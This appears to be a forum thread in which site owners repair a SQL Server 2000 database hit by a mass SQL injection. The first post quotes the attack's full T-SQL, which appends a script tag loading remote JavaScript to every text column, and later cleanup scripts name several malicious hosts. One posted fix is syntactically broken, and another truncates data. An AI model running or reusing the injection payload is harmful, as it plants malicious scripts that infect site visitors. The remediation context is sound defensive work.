Reverse SQL Injection effects

[Spork52]

My database (SQL Server 2000) was littered with XSS javascript by a recent SQL injection attack. I removed most of the debris by running the attacking code (see below) with a REPLACE statement. Worked great on varchar and nvarchar fields, but REPLACE won't work on text and ntext fields.

Questions:

1) Will anything in the code damage data? E.g, will the DECLARE and UPDATE statements truncate data > 255 characters?

2) How can I fix the ntext and text fields?

//sysobjects.xtype = u indicates user tables
//syscolumns.xtype = 99, 35, 231, 167 indicates ntext, text, nvarchar, varchar respectively

The attack:

DECLARE @T VARCHAR(255), @C VARCHAR(255) 
DECLARE Table_Cursor CURSOR FOR 
SELECT a.name, b.name 
FROM sysobjects a, syscolumns b 
WHERE a.id=b.id 
AND a.xtype='u' 
AND (b.xtype = 99 OR b.xtype = 35 OR b.xtype = 231 OR b.xtype = 167) 
OPEN Table_Cursor 
FETCH NEXT FROM Table_Cursor INTO @T, @C 
WHILE (@@FETCH_STATUS = 0) 
BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+'] = RTRIM(CONVERT(VARCHAR(4000), ['+@C+'])) + ''<script src=[URL unfurl="true"]http://www.adwbnr.com/b.js></script>''')[/URL] 
FETCH NEXT FROM Table_Cursor INTO @T, @C 
END 
CLOSE Table_Cursor 
DEALLOCATE Table_Cursor 

The partial fix:

DECLARE @T VARCHAR(255), @C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR 
SELECT a.name, b.name 
FROM sysobjects a, syscolumns b 
WHERE a.id=b.id 
AND a.xtype='u' 
AND (b.xtype = 231 OR b.xtype = 167) 
OPEN Table_Cursor 
FETCH NEXT FROM Table_Cursor INTO @T, @C 
WHILE (@@FETCH_STATUS = 0) 
BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+'] = REPLACE(['+@C+'] , ''<script src=[URL unfurl="true"]http://www.adwbnr.com/b.js></script>'',[/URL] '''')')
FETCH NEXT FROM Table_Cursor INTO @T, @C 
END 
CLOSE Table_Cursor 
DEALLOCATE Table_Cursor

 

[RyanEK]

Hi,

You can use UpdateText.

declare @otxt varchar(1000)
set @otxt = 'old text'
declare @ntxt varchar(1000)
set @ntxt = 'new text'

declare @txtlen int
set @txtlen = len(@otxt)
declare @ptr binary(16)
declare @pos int
declare @id int
declare curs cursor local fast_forward
for select @id, textptr([field]),	charindex(@otxt, [field])-1
from [table]
where [field] like '%' + @otxt +'%'
open curs
fetch next from curs into @id, @ptr, @pos
while @@fetch_status = 0
begin	
	updatetext [table].[field] @ptr @pos @txtlen @ntxt
	fetch next from curs into @id, @ptr, @pos	
end
close curs
deallocate curs

Ry

 

[Spork52]

Thank you.

Okay, I naively chopped up your code and combined it with mine and got the stuff below. Does it look as if it will work or will it destroy my data? Are the syntax and structure a mess? (I haven't coded T-SQl before this, except for select/update/delete statements.)

What is @id for?

Did this line in the original attack script truncate everything over 4000 characters?

RTRIM(CONVERT(VARCHAR(4000), ['+@C+'])) + ''<script src=[URL unfurl="true"]http://www.adwbnr.com/b.js></script>''')[/URL]

Here's Frankenstein:

declare @otxt varchar(1000)
set @otxt = '<script src=[URL unfurl="true"]http://www.adwbnr.com/b.js></script>'[/URL]

declare @ntxt varchar(1000)
set @ntxt = ''

declare @txtlen int
set @txtlen = len(@otxt)
declare @ptr binary(16)
declare @pos int
declare @id int

DECLARE @T VARCHAR(255), @C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR 
SELECT a.name, b.name 
FROM sysobjects a, syscolumns b 
WHERE a.id=b.id 
AND a.xtype='u' 
AND (b.xtype = 99 OR b.xtype = 35) 
OPEN Table_Cursor 
FETCH NEXT FROM Table_Cursor INTO @T, @C 
WHILE (@@FETCH_STATUS = 0) 
BEGIN

declare curs cursor local fast_forward
for select @id, textptr([@C]), charindex(@otxt, [@C]) - 1
from [@T]
where [@C] like '%' + @otxt + '%'
open curs
fetch next from curs into @id, @ptr, @pos
while @@fetch_status = 0
begin    
    updatetext [@T].[@C] @ptr @pos @txtlen @ntxt
    fetch next from curs into @id, @ptr, @pos    
end
close curs
deallocate curs

FETCH NEXT FROM Table_Cursor INTO @T, @C 
END 
CLOSE Table_Cursor 
DEALLOCATE Table_Cursor

 

[chalito1222]

I realize this thread may be dead, but I have a site that fell victim to this code today and wrote this reverse code which worked perfectly. I hope this is useful to someone...(it was the reverse of the sql injection code that was executed - the same as yours in the original post)

Note that I had multiple attacks so this line should be repeated for every javascript code that was inserted (replacing the script source appropriately):

EXEC('UPDATE ['+@T+'] SET ['+@C+']=REPLACE(RTRIM(CONVERT(VARCHAR(4000),['+@C+'])),''<script src=[URL unfurl="true"]http://www.kj5s.ru/js.js></script>'','''')')[/URL]

Here's the full code:

DECLARE @T VARCHAR(255),@C VARCHAR(255) 
DECLARE Table_Cursor CURSOR FOR 
SELECT a.name,b.name FROM sysobjects a,syscolumns b 
WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) 
OPEN Table_Cursor 
FETCH NEXT FROM Table_Cursor INTO @T,@C 
WHILE(@@FETCH_STATUS=0) 
BEGIN 
EXEC('UPDATE ['+@T+'] SET ['+@C+']=REPLACE(RTRIM(CONVERT(VARCHAR(4000),['+@C+'])),''<script src=[URL unfurl="true"]http://www.jve4.ru/js.js></script>'','''')')[/URL] 
EXEC('UPDATE ['+@T+'] SET ['+@C+']=REPLACE(RTRIM(CONVERT(VARCHAR(4000),['+@C+'])),''<script src=[URL unfurl="true"]http://www.kj5s.ru/js.js></script>'','''')')[/URL] 
EXEC('UPDATE ['+@T+'] SET ['+@C+']=REPLACE(RTRIM(CONVERT(VARCHAR(4000),['+@C+'])),''<script src=[URL unfurl="true"]http://www.bsko.ru/js.js></script>'','''')')[/URL] 
FETCH NEXT FROM Table_Cursor INTO @T,@C 
END 
CLOSE Table_Cursor 
DEALLOCATE Table_Cursor